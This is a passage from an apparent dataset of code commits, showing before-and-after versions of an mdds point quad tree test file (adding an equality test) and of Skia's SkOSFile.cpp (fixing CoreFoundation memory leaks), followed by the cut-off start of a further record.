shared_from_this() ) );\n      \/\/std::cout << \"Put something (\" << int(ptr) << \") in the node_map\" << std::endl;\n      node_map_[ptr] = o;\n      return o;\n    }\n\n    \/\/ Should i use dynamic cast here? Probably, but for now, eh.\n    \/\/std::cout << \"Found (\" << int(ptr) << \") in the node_map\" << std::endl;\n    return it->second;\n  }\n\n  template <class U>\n  void remove_mapped_node(U node) {\n    void *ptr = static_cast<void*>(node.underlying_impl());\n    \/\/std::cout << \"Removing (\" << int(ptr) << \") from the node_map_\" << std::endl;\n    node_map_.erase(ptr);\n  }\n};\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n * Copyright (c) 2010 Kohei Yoshida\n * \n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n * \n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\n ************************************************************************\/\n\n#include \"mdds\/point_quad_tree.hpp\"\n\n#include <cstdint>\n#include <algorithm>\n#include <vector>\n#include <sstream>\n#include <boost\/ptr_container\/ptr_vector.hpp>\n\n#include <stdio.h>\n#include <string>\n#include <sys\/time.h>\n\nnamespace {\n\nclass StackPrinter\n{\npublic:\n    explicit StackPrinter(const char* msg) :\n        msMsg(msg)\n    {\n        fprintf(stdout, \"%s: --begin\\n\", msMsg.c_str());\n        mfStartTime = getTime();\n    }\n\n    ~StackPrinter()\n    {\n        double fEndTime = getTime();\n        fprintf(stdout, \"%s: --end (duration: %g sec)\\n\", msMsg.c_str(), (fEndTime-mfStartTime));\n    }\n\n    void printTime(int line) const\n    {\n        double fEndTime = getTime();\n        fprintf(stdout, \"%s: --(%d) (duration: %g sec)\\n\", msMsg.c_str(), line, (fEndTime-mfStartTime));\n    }\n\nprivate:\n    double getTime() const\n    {\n        timeval tv;\n        gettimeofday(&tv, NULL);\n        return tv.tv_sec + tv.tv_usec \/ 1000000.0;\n    }\n\n    ::std::string msMsg;\n    double mfStartTime;\n};\n\n}\n\nusing namespace std;\nusing namespace mdds;\nusing ::boost::ptr_vector;\n\nstruct data_printer : public unary_function<string*, void>\n{\n    void operator() (const string* p)\n    {\n        cout << *p << \" \";\n    }\n};\n\ntemplate<typename _DbType>\nstruct search_result_printer : public unary_function<pair<typename _DbType::point, typename _DbType::data_type*>, void>\n{\n    void operator() (const pair<const typename _DbType::point, const typename _DbType::data_type*>& r) const\n    {\n        cout << \"  (x=\" << r.first.x << \", y=\" << r.first.y << \", value='\" << *r.second << \"')\" << endl;\n    }\n};\n\ntemplate<typename _DbType>\nbool verify_stored_data(\n    const vector<typename _DbType::node_data>& stored_data, const vector<typename _DbType::node_data>& verify_data)\n{\n    typedef vector<typename _DbType::node_data> node_array_type;\n\n    node_array_type v1 = stored_data, v2 = verify_data;\n    return _DbType::equals(v1, v2);\n}\n\nvoid pqt_test_basic()\n{\n    StackPrinter __stack_printer__(\"::pqt_test\");\n    typedef point_quad_tree<uint16_t, string> db_type;\n    db_type db;\n\n    string A(\"A\");\n    string B(\"B\");\n    string C(\"C\");\n    string D(\"D\");\n    string E(\"E\");\n    string F(\"F\");\n    string G(\"G\");\n    string H(\"H\");\n    string I(\"I\");\n    string J(\"J\");\n    string K(\"K\");\n    string L(\"L\");\n    string M(\"M\");\n    string N(\"N\");\n\n    db.insert(25, 32, &A);\n    db.insert( 5, 45, &B);\n    db.insert(52, 10, &C);\n    db.insert(80,  5, &D);\n    db.insert(40, 50, &E);\n    db.insert(10, 10, &F);\n    db.insert(20, 20, &G);\n    db.insert(80, 80, &H);\n    db.insert(58, 46, &I);\n    db.insert(36, 55, &J);\n    db.insert(26, 52, &K);\n    db.insert(38, 68, &L);\n    db.insert(39, 78, &M);\n    db.insert(72, 52, &N);\n\n    assert(db.size() == 14);\n\n    cout << \"node count = \" << get_node_instance_count() << endl;\n    db.dump_tree_svg(\".\/obj\/test.svg\");\n\n    {\n        db_type::data_array_type result;\n        db.search_region(10, 10, 60, 20, result);\n        cout << \"search region: (10, 10, 60, 20)\" << endl;\n        cout << \"result: \";\n        for_each(result.begin(), result.end(), data_printer());\n        cout << endl;\n    \n        result.clear();\n        db.search_region(10, 10, 61, 61, result);\n        cout << \"search region: (10, 10, 61, 61)\" << endl;\n        cout << \"result: \";\n        for_each(result.begin(), result.end(), data_printer());\n        cout << endl;\n    }\n\n    db_type::search_result result = db.search_region(10, 10, 60, 20);\n    db_type::search_result::const_iterator itr = result.begin(), itr_end = result.end();\n    cout << \"result: \" << endl;\n    for_each(result.begin(), result.end(), search_result_printer<db_type>());\n\n    result = db.search_region(10, 10, 61, 61);\n    itr = result.begin(), itr_end = result.end();\n    cout << \"result: \" << endl;\n    for_each(result.begin(), result.end(), search_result_printer<db_type>());\n\n    db.remove(20, 20);\n    db.remove(40, 50);\n    assert(db.size() == 12);\n    db.dump_tree_svg(\".\/obj\/test-remove.svg\");\n\n    db.clear();\n    assert(db.empty());\n    assert(db.size() == 0);\n}\n\nvoid pqt_test_insertion()\n{\n    StackPrinter __stack_printer__(\"::pqt_test_insertion\");\n    typedef point_quad_tree<int32_t, string> db_type;\n    db_type db;\n\n    \/\/ Check its empty-ness...\n    assert(db.empty());\n    assert(db.size() == 0);\n\n    \/\/ Create all data instances.\n    ptr_vector<string> data_store;\n    data_store.reserve(100);\n    for (size_t i = 0; i < 100; ++i)\n    {\n        ostringstream os;\n        os << \"0x\" << hex << i;\n        data_store.push_back(new string(os.str()));\n    }\n\n    vector<db_type::node_data> verify_data;\n\n    \/\/ Insert data one by one, and verify each insertion.\n    for (int32_t i = 0; i < 10; ++i)\n    {\n        for (int32_t j = 0; j < 10; ++j)\n        {\n            int32_t x = i*10 + 1, y = j*10 + 1;\n            size_t index = i*10 + j;\n            string* data_ptr = &data_store[index];\n            cout << \"inserting '\" << *data_ptr << \"' at (\" << x << \",\" << y << \")\" << endl;\n            db.insert(x, y, data_ptr);\n            verify_data.push_back(db_type::node_data(x, y, data_ptr));\n\n            vector<db_type::node_data> stored_data;\n            db.get_all_stored_data(stored_data);\n            assert(stored_data.size() == (index+1));\n            assert(db.size() == (index+1));\n            assert(!db.empty());\n            bool success = verify_stored_data<db_type>(stored_data, verify_data);\n            assert(success);\n        }\n    }\n    db.dump_tree_svg(\".\/obj\/pqt_test_insertion.svg\");\n\n    \/\/ Remove data one by one, and check the size after each removal.\n    size_t node_count = 100;\n    for (int32_t i = 0; i < 10; ++i)\n    {\n        for (int32_t j = 0; j < 10; ++j)\n        {\n            int32_t x = i*10 + 1, y = j*10 + 1;\n            cout << \"removing node at (\" << x << \",\" << y << \")\" << endl;\n            db.remove(x, y);\n            size_t n = db.size();\n            cout << \"size after removal: \" << n << endl;\n            assert(--node_count == n);\n        }\n    }\n}\n\nvoid pqt_test_remove_root()\n{\n    StackPrinter __stack_printer__(\"::pqt_test_remove_root\");    \n    typedef point_quad_tree<int32_t, string> db_type;\n    string O(\"O\");\n    string NW(\"NW\");\n    string NE(\"NE\");\n    string SW(\"SW\");\n    string SE(\"SE\");\n    db_type db;\n\n    \/\/ Insert all data and verify their storage.\n    db.insert(10, 10, &O);\n    db.insert(20, 0, &NE);\n    db.insert(0, 0, &NW);\n    db.insert(20, 20, &SE);\n    db.insert(0, 20, &SW);\n    db.dump_tree_svg(\".\/obj\/pqt_test_remove_root-1.svg\");\n\n    vector<db_type::node_data> verify_data, stored_data;\n    verify_data.push_back(db_type::node_data(10, 10, &O));\n    verify_data.push_back(db_type::node_data(20, 0, &NE));\n    verify_data.push_back(db_type::node_data(0, 0, &NW));\n    verify_data.push_back(db_type::node_data(20, 20, &SE));\n    verify_data.push_back(db_type::node_data(0, 20, &SW));\n    db.get_all_stored_data(stored_data);\n    bool success = db_type::equals(verify_data, stored_data);\n    assert(success);\n    assert(db.size() == 5);\n\n    \/\/ Now, remove the root node.\n    db.remove(10, 10);\n    db.dump_tree_svg(\".\/obj\/pqt_test_remove_root-2.svg\");\n    db.get_all_stored_data(stored_data);\n    verify_data.clear();\n    verify_data.push_back(db_type::node_data(20, 0, &NE));\n    verify_data.push_back(db_type::node_data(0, 0, &NW));\n    verify_data.push_back(db_type::node_data(20, 20, &SE));\n    verify_data.push_back(db_type::node_data(0, 20, &SW));\n    success = db_type::equals(verify_data, stored_data);\n    assert(success);\n    assert(db.size() == 4);\n}\n\nint main()\n{\n    pqt_test_basic();\n    pqt_test_insertion();\n    pqt_test_remove_root();\n    assert(get_node_instance_count() == 0);\n}\n<commit_msg>Test case for equality and non-equality.<commit_after>\/*************************************************************************\n *\n * Copyright (c) 2010 Kohei Yoshida\n * \n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n * \n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\n ************************************************************************\/\n\n#include \"mdds\/point_quad_tree.hpp\"\n\n#include <cstdint>\n#include <algorithm>\n#include <vector>\n#include <sstream>\n#include <boost\/ptr_container\/ptr_vector.hpp>\n\n#include <stdio.h>\n#include <string>\n#include <sys\/time.h>\n\nnamespace {\n\nclass StackPrinter\n{\npublic:\n    explicit StackPrinter(const char* msg) :\n        msMsg(msg)\n    {\n        fprintf(stdout, \"%s: --begin\\n\", msMsg.c_str());\n        mfStartTime = getTime();\n    }\n\n    ~StackPrinter()\n    {\n        double fEndTime = getTime();\n        fprintf(stdout, \"%s: --end (duration: %g sec)\\n\", msMsg.c_str(), (fEndTime-mfStartTime));\n    }\n\n    void printTime(int line) const\n    {\n        double fEndTime = getTime();\n        fprintf(stdout, \"%s: --(%d) (duration: %g sec)\\n\", msMsg.c_str(), line, (fEndTime-mfStartTime));\n    }\n\nprivate:\n    double getTime() const\n    {\n        timeval tv;\n        gettimeofday(&tv, NULL);\n        return tv.tv_sec + tv.tv_usec \/ 1000000.0;\n    }\n\n    ::std::string msMsg;\n    double mfStartTime;\n};\n\n}\n\nusing namespace std;\nusing namespace mdds;\nusing ::boost::ptr_vector;\n\nstruct data_printer : public unary_function<string*, void>\n{\n    void operator() (const string* p)\n    {\n        cout << *p << \" \";\n    }\n};\n\ntemplate<typename _DbType>\nstruct search_result_printer : public unary_function<pair<typename _DbType::point, typename _DbType::data_type*>, void>\n{\n    void operator() (const pair<const typename _DbType::point, const typename _DbType::data_type*>& r) const\n    {\n        cout << \"  (x=\" << r.first.x << \", y=\" << r.first.y << \", value='\" << *r.second << \"')\" << endl;\n    }\n};\n\ntemplate<typename _DbType>\nbool verify_stored_data(\n    const vector<typename _DbType::node_data>& stored_data, const vector<typename _DbType::node_data>& verify_data)\n{\n    typedef vector<typename _DbType::node_data> node_array_type;\n\n    node_array_type v1 = stored_data, v2 = verify_data;\n    return _DbType::equals(v1, v2);\n}\n\nvoid pqt_test_basic()\n{\n    StackPrinter __stack_printer__(\"::pqt_test\");\n    typedef point_quad_tree<uint16_t, string> db_type;\n    db_type db;\n\n    string A(\"A\");\n    string B(\"B\");\n    string C(\"C\");\n    string D(\"D\");\n    string E(\"E\");\n    string F(\"F\");\n    string G(\"G\");\n    string H(\"H\");\n    string I(\"I\");\n    string J(\"J\");\n    string K(\"K\");\n    string L(\"L\");\n    string M(\"M\");\n    string N(\"N\");\n\n    db.insert(25, 32, &A);\n    db.insert( 5, 45, &B);\n    db.insert(52, 10, &C);\n    db.insert(80,  5, &D);\n    db.insert(40, 50, &E);\n    db.insert(10, 10, &F);\n    db.insert(20, 20, &G);\n    db.insert(80, 80, &H);\n    db.insert(58, 46, &I);\n    db.insert(36, 55, &J);\n    db.insert(26, 52, &K);\n    db.insert(38, 68, &L);\n    db.insert(39, 78, &M);\n    db.insert(72, 52, &N);\n\n    assert(db.size() == 14);\n\n    cout << \"node count = \" << get_node_instance_count() << endl;\n    db.dump_tree_svg(\".\/obj\/test.svg\");\n\n    {\n        db_type::data_array_type result;\n        db.search_region(10, 10, 60, 20, result);\n        cout << \"search region: (10, 10, 60, 20)\" << endl;\n        cout << \"result: \";\n        for_each(result.begin(), result.end(), data_printer());\n        cout << endl;\n    \n        result.clear();\n        db.search_region(10, 10, 61, 61, result);\n        cout << \"search region: (10, 10, 61, 61)\" << endl;\n        cout << \"result: \";\n        for_each(result.begin(), result.end(), data_printer());\n        cout << endl;\n    }\n\n    db_type::search_result result = db.search_region(10, 10, 60, 20);\n    db_type::search_result::const_iterator itr = result.begin(), itr_end = result.end();\n    cout << \"result: \" << endl;\n    for_each(result.begin(), result.end(), search_result_printer<db_type>());\n\n    result = db.search_region(10, 10, 61, 61);\n    itr = result.begin(), itr_end = result.end();\n    cout << \"result: \" << endl;\n    for_each(result.begin(), result.end(), search_result_printer<db_type>());\n\n    db.remove(20, 20);\n    db.remove(40, 50);\n    assert(db.size() == 12);\n    db.dump_tree_svg(\".\/obj\/test-remove.svg\");\n\n    db.clear();\n    assert(db.empty());\n    assert(db.size() == 0);\n}\n\nvoid pqt_test_insertion()\n{\n    StackPrinter __stack_printer__(\"::pqt_test_insertion\");\n    typedef point_quad_tree<int32_t, string> db_type;\n    db_type db;\n\n    \/\/ Check its empty-ness...\n    assert(db.empty());\n    assert(db.size() == 0);\n\n    \/\/ Create all data instances.\n    ptr_vector<string> data_store;\n    data_store.reserve(100);\n    for (size_t i = 0; i < 100; ++i)\n    {\n        ostringstream os;\n        os << \"0x\" << hex << i;\n        data_store.push_back(new string(os.str()));\n    }\n\n    vector<db_type::node_data> verify_data;\n\n    \/\/ Insert data one by one, and verify each insertion.\n    for (int32_t i = 0; i < 10; ++i)\n    {\n        for (int32_t j = 0; j < 10; ++j)\n        {\n            int32_t x = i*10 + 1, y = j*10 + 1;\n            size_t index = i*10 + j;\n            string* data_ptr = &data_store[index];\n            cout << \"inserting '\" << *data_ptr << \"' at (\" << x << \",\" << y << \")\" << endl;\n            db.insert(x, y, data_ptr);\n            verify_data.push_back(db_type::node_data(x, y, data_ptr));\n\n            vector<db_type::node_data> stored_data;\n            db.get_all_stored_data(stored_data);\n            assert(stored_data.size() == (index+1));\n            assert(db.size() == (index+1));\n            assert(!db.empty());\n            bool success = verify_stored_data<db_type>(stored_data, verify_data);\n            assert(success);\n        }\n    }\n    db.dump_tree_svg(\".\/obj\/pqt_test_insertion.svg\");\n\n    \/\/ Remove data one by one, and check the size after each removal.\n    size_t node_count = 100;\n    for (int32_t i = 0; i < 10; ++i)\n    {\n        for (int32_t j = 0; j < 10; ++j)\n        {\n            int32_t x = i*10 + 1, y = j*10 + 1;\n            cout << \"removing node at (\" << x << \",\" << y << \")\" << endl;\n            db.remove(x, y);\n            size_t n = db.size();\n            cout << \"size after removal: \" << n << endl;\n            assert(--node_count == n);\n        }\n    }\n}\n\nvoid pqt_test_remove_root()\n{\n    StackPrinter __stack_printer__(\"::pqt_test_remove_root\");    \n    typedef point_quad_tree<int32_t, string> db_type;\n    string O(\"O\");\n    string NW(\"NW\");\n    string NE(\"NE\");\n    string SW(\"SW\");\n    string SE(\"SE\");\n    db_type db;\n\n    \/\/ Insert all data and verify their storage.\n    db.insert(10, 10, &O);\n    db.insert(20, 0, &NE);\n    db.insert(0, 0, &NW);\n    db.insert(20, 20, &SE);\n    db.insert(0, 20, &SW);\n    db.dump_tree_svg(\".\/obj\/pqt_test_remove_root-1.svg\");\n\n    vector<db_type::node_data> verify_data, stored_data;\n    verify_data.push_back(db_type::node_data(10, 10, &O));\n    verify_data.push_back(db_type::node_data(20, 0, &NE));\n    verify_data.push_back(db_type::node_data(0, 0, &NW));\n    verify_data.push_back(db_type::node_data(20, 20, &SE));\n    verify_data.push_back(db_type::node_data(0, 20, &SW));\n    db.get_all_stored_data(stored_data);\n    bool success = db_type::equals(verify_data, stored_data);\n    assert(success);\n    assert(db.size() == 5);\n\n    \/\/ Now, remove the root node.\n    db.remove(10, 10);\n    db.dump_tree_svg(\".\/obj\/pqt_test_remove_root-2.svg\");\n    db.get_all_stored_data(stored_data);\n    verify_data.clear();\n    verify_data.push_back(db_type::node_data(20, 0, &NE));\n    verify_data.push_back(db_type::node_data(0, 0, &NW));\n    verify_data.push_back(db_type::node_data(20, 20, &SE));\n    verify_data.push_back(db_type::node_data(0, 20, &SW));\n    success = db_type::equals(verify_data, stored_data);\n    assert(success);\n    assert(db.size() == 4);\n}\n\nvoid pqt_test_equality()\n{\n    StackPrinter __stack_printer__(\"::pqt_test_equality\");\n\n    typedef point_quad_tree<int32_t, string> db_type;\n    db_type db1, db2;\n\n    string A(\"A\");\n    string B(\"B\");\n    string C(\"C\");\n    string D(\"D\");\n    string E(\"E\");\n    string F(\"F\");\n\n    assert(db1 == db2); \/\/ both are empty.\n    \n    db1.insert(0, 0, &A);\n    db2.insert(0, 0, &A);\n    assert(db1 == db2);\n    db1.remove(0, 0);\n    assert(db1 != db2);\n    db1.insert(0, 0, &B);\n    assert(db1 != db2);\n    db2.insert(0, 0, &B); \/\/ B overwrites A.\n    assert(db1 == db2); \/\/ Both should have B at (0,0).\n    db1.insert(1, 1, &C);\n    db2.insert(2, 2, &C);\n    assert(db1 != db2);\n    db1.insert(2, 2, &C);\n    db2.insert(1, 1, &C);\n    assert(db1 == db2);\n\n    \/\/ Inserting data in different orders should make no difference in equality.\n    db1.insert(1, 3, &D);\n    db1.insert(1, 4, &E);\n    db1.insert(1, 5, &F);\n\n    db2.insert(1, 5, &F);\n    db2.insert(1, 4, &E);\n    db2.insert(1, 3, &D);\n    assert(db1 == db2);\n    db1.remove(1, 4);\n    db2.remove(1, 4);\n    assert(db1 == db2);\n\n    \/\/ Make them empty again.\n    db1.clear();\n    db2.clear();\n    assert(db1 == db2);\n}\n\nint main()\n{\n    pqt_test_basic();\n    pqt_test_insertion();\n    pqt_test_remove_root();\n    pqt_test_equality();\n    assert(get_node_instance_count() == 0);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2006 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkOSFile.h\"\n#include \"SkTypes.h\"\n\n#include <errno.h>\n#include <stdio.h>\n#include <sys\/stat.h>\n\n#ifdef SK_BUILD_FOR_UNIX\n#include <unistd.h>\n#endif\n\n#ifdef _WIN32\n#include <direct.h>\n#include <io.h>\n#endif\n\n#ifdef SK_BUILD_FOR_IOS\n#import <CoreFoundation\/CoreFoundation.h>\n\nstatic FILE* ios_open_from_bundle(const char path[], const char* perm) {\n    \/\/ Get a reference to the main bundle\n    CFBundleRef mainBundle = CFBundleGetMainBundle();\n\n    \/\/ Get a reference to the file's URL\n    CFStringRef pathRef = CFStringCreateWithCString(NULL, path, kCFStringEncodingUTF8);\n    CFURLRef imageURL = CFBundleCopyResourceURL(mainBundle, pathRef, NULL, NULL);\n    CFRelease(pathRef);\n    if (!imageURL) {\n        return nullptr;\n    }\n\n    \/\/ Convert the URL reference into a string reference\n    CFStringRef imagePath = CFURLCopyFileSystemPath(imageURL, kCFURLPOSIXPathStyle);\n\n    \/\/ Get the system encoding method\n    CFStringEncoding encodingMethod = CFStringGetSystemEncoding();\n\n    \/\/ Convert the string reference into a C string\n    const char *finalPath = CFStringGetCStringPtr(imagePath, encodingMethod);\n\n    return fopen(finalPath, perm);\n}\n#endif\n\n\nFILE* sk_fopen(const char path[], SkFILE_Flags flags) {\n    char    perm[4];\n    char*   p = perm;\n\n    if (flags & kRead_SkFILE_Flag) {\n        *p++ = 'r';\n    }\n    if (flags & kWrite_SkFILE_Flag) {\n        *p++ = 'w';\n    }\n    *p++ = 'b';\n    *p = 0;\n\n    \/\/TODO: on Windows fopen is just ASCII or the current code page,\n    \/\/convert to utf16 and use _wfopen\n    FILE* file = nullptr;\n#ifdef SK_BUILD_FOR_IOS\n    \/\/ if read-only, try to open from bundle first\n    if (kRead_SkFILE_Flag == flags) {\n        file = ios_open_from_bundle(path, perm);\n    }\n    \/\/ otherwise just read from the Documents directory (default)\n    if (!file) {\n#endif\n        file = fopen(path, perm);\n#ifdef SK_BUILD_FOR_IOS\n    }\n#endif\n    if (nullptr == file && (flags & kWrite_SkFILE_Flag)) {\n        SkDEBUGF((\"sk_fopen: fopen(\\\"%s\\\", \\\"%s\\\") returned NULL (errno:%d): %s\\n\",\n                  path, perm, errno, strerror(errno)));\n    }\n    return file;\n}\n\nchar* sk_fgets(char* str, int size, FILE* f) {\n    return fgets(str, size, (FILE *)f);\n}\n\nint sk_feof(FILE *f) {\n    \/\/ no :: namespace qualifier because it breaks android\n    return feof((FILE *)f);\n}\n\nsize_t sk_fgetsize(FILE* f) {\n    SkASSERT(f);\n\n    long curr = ftell(f); \/\/ remember where we are\n    if (curr < 0) {\n        return 0;\n    }\n\n    fseek(f, 0, SEEK_END); \/\/ go to the end\n    long size = ftell(f); \/\/ record the size\n    if (size < 0) {\n        size = 0;\n    }\n\n    fseek(f, curr, SEEK_SET); \/\/ go back to our prev location\n    return size;\n}\n\nbool sk_frewind(FILE* f) {\n    SkASSERT(f);\n    ::rewind(f);\n    return true;\n}\n\nsize_t sk_fread(void* buffer, size_t byteCount, FILE* f) {\n    SkASSERT(f);\n    if (buffer == nullptr) {\n        size_t curr = ftell(f);\n        if ((long)curr == -1) {\n            SkDEBUGF((\"sk_fread: ftell(%p) returned -1 feof:%d ferror:%d\\n\", f, feof(f), ferror(f)));\n            return 0;\n        }\n        int err = fseek(f, (long)byteCount, SEEK_CUR);\n        if (err != 0) {\n            SkDEBUGF((\"sk_fread: fseek(%d) tell:%d failed with feof:%d ferror:%d returned:%d\\n\",\n                        byteCount, curr, feof(f), ferror(f), err));\n            return 0;\n        }\n        return byteCount;\n    }\n    else\n        return fread(buffer, 1, byteCount, f);\n}\n\nsize_t sk_fwrite(const void* buffer, size_t byteCount, FILE* f) {\n    SkASSERT(f);\n    return fwrite(buffer, 1, byteCount, f);\n}\n\nvoid sk_fflush(FILE* f) {\n    SkASSERT(f);\n    fflush(f);\n}\n\nvoid sk_fsync(FILE* f) {\n#if !defined(_WIN32) && !defined(SK_BUILD_FOR_ANDROID) && !defined(__UCLIBC__) \\\n        && !defined(_NEWLIB_VERSION)\n    int fd = fileno(f);\n    fsync(fd);\n#endif\n}\n\nbool sk_fseek(FILE* f, size_t byteCount) {\n    int err = fseek(f, (long)byteCount, SEEK_SET);\n    return err == 0;\n}\n\nbool sk_fmove(FILE* f, long byteCount) {\n    int err = fseek(f, byteCount, SEEK_CUR);\n    return err == 0;\n}\n\nsize_t sk_ftell(FILE* f) {\n    long curr = ftell(f);\n    if (curr < 0) {\n        return 0;\n    }\n    return curr;\n}\n\nvoid sk_fclose(FILE* f) {\n    SkASSERT(f);\n    fclose(f);\n}\n\nbool sk_isdir(const char *path) {\n    struct stat status;\n    if (0 != stat(path, &status)) {\n        return false;\n    }\n    return SkToBool(status.st_mode & S_IFDIR);\n}\n\nbool sk_mkdir(const char* path) {\n    if (sk_isdir(path)) {\n        return true;\n    }\n    if (sk_exists(path)) {\n        fprintf(stderr,\n                \"sk_mkdir: path '%s' already exists but is not a directory\\n\",\n                path);\n        return false;\n    }\n\n    int retval;\n#ifdef _WIN32\n    retval = _mkdir(path);\n#else\n    retval = mkdir(path, 0777);\n#endif\n    if (0 == retval) {\n        return true;\n    } else {\n        fprintf(stderr, \"sk_mkdir: error %d creating dir '%s'\\n\", errno, path);\n        return false;\n    }\n}\n<commit_msg>Fix memory leaks reported by clang static analyzer.<commit_after>\/*\n * Copyright 2006 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkOSFile.h\"\n#include \"SkTypes.h\"\n\n#include <errno.h>\n#include <stdio.h>\n#include <sys\/stat.h>\n\n#ifdef SK_BUILD_FOR_UNIX\n#include <unistd.h>\n#endif\n\n#ifdef _WIN32\n#include <direct.h>\n#include <io.h>\n#endif\n\n#ifdef SK_BUILD_FOR_IOS\n#import <CoreFoundation\/CoreFoundation.h>\n\nstatic FILE* ios_open_from_bundle(const char path[], const char* perm) {\n    \/\/ Get a reference to the main bundle\n    CFBundleRef mainBundle = CFBundleGetMainBundle();\n\n    \/\/ Get a reference to the file's URL\n    CFStringRef pathRef = CFStringCreateWithCString(NULL, path, kCFStringEncodingUTF8);\n    CFURLRef imageURL = CFBundleCopyResourceURL(mainBundle, pathRef, NULL, NULL);\n    CFRelease(pathRef);\n    if (!imageURL) {\n        return nullptr;\n    }\n\n    \/\/ Convert the URL reference into a string reference\n    CFStringRef imagePath = CFURLCopyFileSystemPath(imageURL, kCFURLPOSIXPathStyle);\n    CFRelease(imageURL);\n\n    \/\/ Get the system encoding method\n    CFStringEncoding encodingMethod = CFStringGetSystemEncoding();\n\n    \/\/ Convert the string reference into a C string\n    const char *finalPath = CFStringGetCStringPtr(imagePath, encodingMethod);\n    FILE* fileHandle = fopen(finalPath, perm);\n    CFRelease(imagePath);\n    return fileHandle;\n}\n#endif\n\n\nFILE* sk_fopen(const char path[], SkFILE_Flags flags) {\n    char    perm[4];\n    char*   p = perm;\n\n    if (flags & kRead_SkFILE_Flag) {\n        *p++ = 'r';\n    }\n    if (flags & kWrite_SkFILE_Flag) {\n        *p++ = 'w';\n    }\n    *p++ = 'b';\n    *p = 0;\n\n    \/\/TODO: on Windows fopen is just ASCII or the current code page,\n    \/\/convert to utf16 and use _wfopen\n    FILE* file = nullptr;\n#ifdef SK_BUILD_FOR_IOS\n    \/\/ if read-only, try to open from bundle first\n    if (kRead_SkFILE_Flag == flags) {\n        file = ios_open_from_bundle(path, perm);\n    }\n    \/\/ otherwise just read from the Documents directory (default)\n    if (!file) {\n#endif\n        file = fopen(path, perm);\n#ifdef SK_BUILD_FOR_IOS\n    }\n#endif\n    if (nullptr == file && (flags & kWrite_SkFILE_Flag)) {\n        SkDEBUGF((\"sk_fopen: fopen(\\\"%s\\\", \\\"%s\\\") returned NULL (errno:%d): %s\\n\",\n                  path, perm, errno, strerror(errno)));\n    }\n    return file;\n}\n\nchar* sk_fgets(char* str, int size, FILE* f) {\n    return fgets(str, size, (FILE *)f);\n}\n\nint sk_feof(FILE *f) {\n    \/\/ no :: namespace qualifier because it breaks android\n    return feof((FILE *)f);\n}\n\nsize_t sk_fgetsize(FILE* f) {\n    SkASSERT(f);\n\n    long curr = ftell(f); \/\/ remember where we are\n    if (curr < 0) {\n        return 0;\n    }\n\n    fseek(f, 0, SEEK_END); \/\/ go to the end\n    long size = ftell(f); \/\/ record the size\n    if (size < 0) {\n        size = 0;\n    }\n\n    fseek(f, curr, SEEK_SET); \/\/ go back to our prev location\n    return size;\n}\n\nbool sk_frewind(FILE* f) {\n    SkASSERT(f);\n    ::rewind(f);\n    return true;\n}\n\nsize_t sk_fread(void* buffer, size_t byteCount, FILE* f) {\n    SkASSERT(f);\n    if (buffer == nullptr) {\n        size_t curr = ftell(f);\n        if ((long)curr == -1) {\n            SkDEBUGF((\"sk_fread: ftell(%p) returned -1 feof:%d ferror:%d\\n\", f, feof(f), ferror(f)));\n            return 0;\n        }\n        int err = fseek(f, (long)byteCount, SEEK_CUR);\n        if (err != 0) {\n            SkDEBUGF((\"sk_fread: fseek(%d) tell:%d failed with feof:%d ferror:%d returned:%d\\n\",\n                        byteCount, curr, feof(f), ferror(f), err));\n            return 0;\n        }\n        return byteCount;\n    }\n    else\n        return fread(buffer, 1, byteCount, f);\n}\n\nsize_t sk_fwrite(const void* buffer, size_t byteCount, FILE* f) {\n    SkASSERT(f);\n    return fwrite(buffer, 1, byteCount, f);\n}\n\nvoid sk_fflush(FILE* f) {\n    SkASSERT(f);\n    fflush(f);\n}\n\nvoid sk_fsync(FILE* f) {\n#if !defined(_WIN32) && !defined(SK_BUILD_FOR_ANDROID) && !defined(__UCLIBC__) \\\n        && !defined(_NEWLIB_VERSION)\n    int fd = fileno(f);\n    fsync(fd);\n#endif\n}\n\nbool sk_fseek(FILE* f, size_t byteCount) {\n    int err = fseek(f, (long)byteCount, SEEK_SET);\n    return err == 0;\n}\n\nbool sk_fmove(FILE* f, long byteCount) {\n    int err = fseek(f, byteCount, 